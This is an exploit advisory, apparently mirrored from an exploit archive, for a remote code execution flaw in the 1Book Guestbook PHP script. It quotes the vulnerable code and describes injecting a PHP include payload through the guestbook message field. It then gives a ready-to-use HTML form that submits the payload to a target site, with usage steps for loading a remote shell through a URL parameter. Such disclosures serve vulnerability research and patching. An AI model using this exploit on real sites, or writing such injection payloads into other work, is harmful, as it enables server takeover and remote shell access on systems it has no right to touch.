===================================================
1Book Guestbook Script Code Execution Vulnerability
===================================================
=========================================================
=============== JIKI TEAM [ Maroc And YameN ]===============
=========================================================
# Author : jiko
# Script : 1Book Guestbook Script
# Bug : remote code execution
# Download : http://1scripts.net/scripts/1book.zip
=========================JIkI Team===================
# if(in_array($_POST['username'], $bannedusers))
# echo 'Your username has been banned by the administrator.<br/><br/>';
# if(in_array($_SERVER['REMOTE_ADDR'], $bannedips))
# echo 'Your IP has been banned by the administrator.<br/><br/>';
# elseif($_POST['1'] + $_POST['2'] != $_POST['check'])
# echo('You answered the security question incorrectly.');
# else
# {
# $data = unserialize(file_get_contents('data.php'));
# array_push($data, array('user' => $_POST['username'], 'date' =>
mktime(), 'message' => $_POST['message'], 'website' =>
$_POST['website'], 'ip' => $_SERVER['REMOTE_ADDR']));
# file_put_contents('data.php', serialize($data));
# }
#
#}
#===========================================================================================================================#
# So, we can write a malicious code like <?php include($jiko); ?> in
the variable $message, and $username #
# and then we go in
http://Site/script/data/data.php?jiko=[shell]
#
#===========================================================================================================================#
simple exploit whith HTML:
-------------------------
change site by your site
+++++++++++++++++++++++++
<title> EXploit BY JIKO</title>
<center>
<form method="post" action="site/guestbook.php">
<input type=hidden name=username value="jiko was here" >
<input type=hidden name=message value="<? include($jiko) ?>" >
<input type=submit value="send">
</form>
<h5>a fter send your usage:
<br>http://site/scripts/data.php?jiko=[shell]</h5>
=========================================================
# 0day.today [2018-03-06] #Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation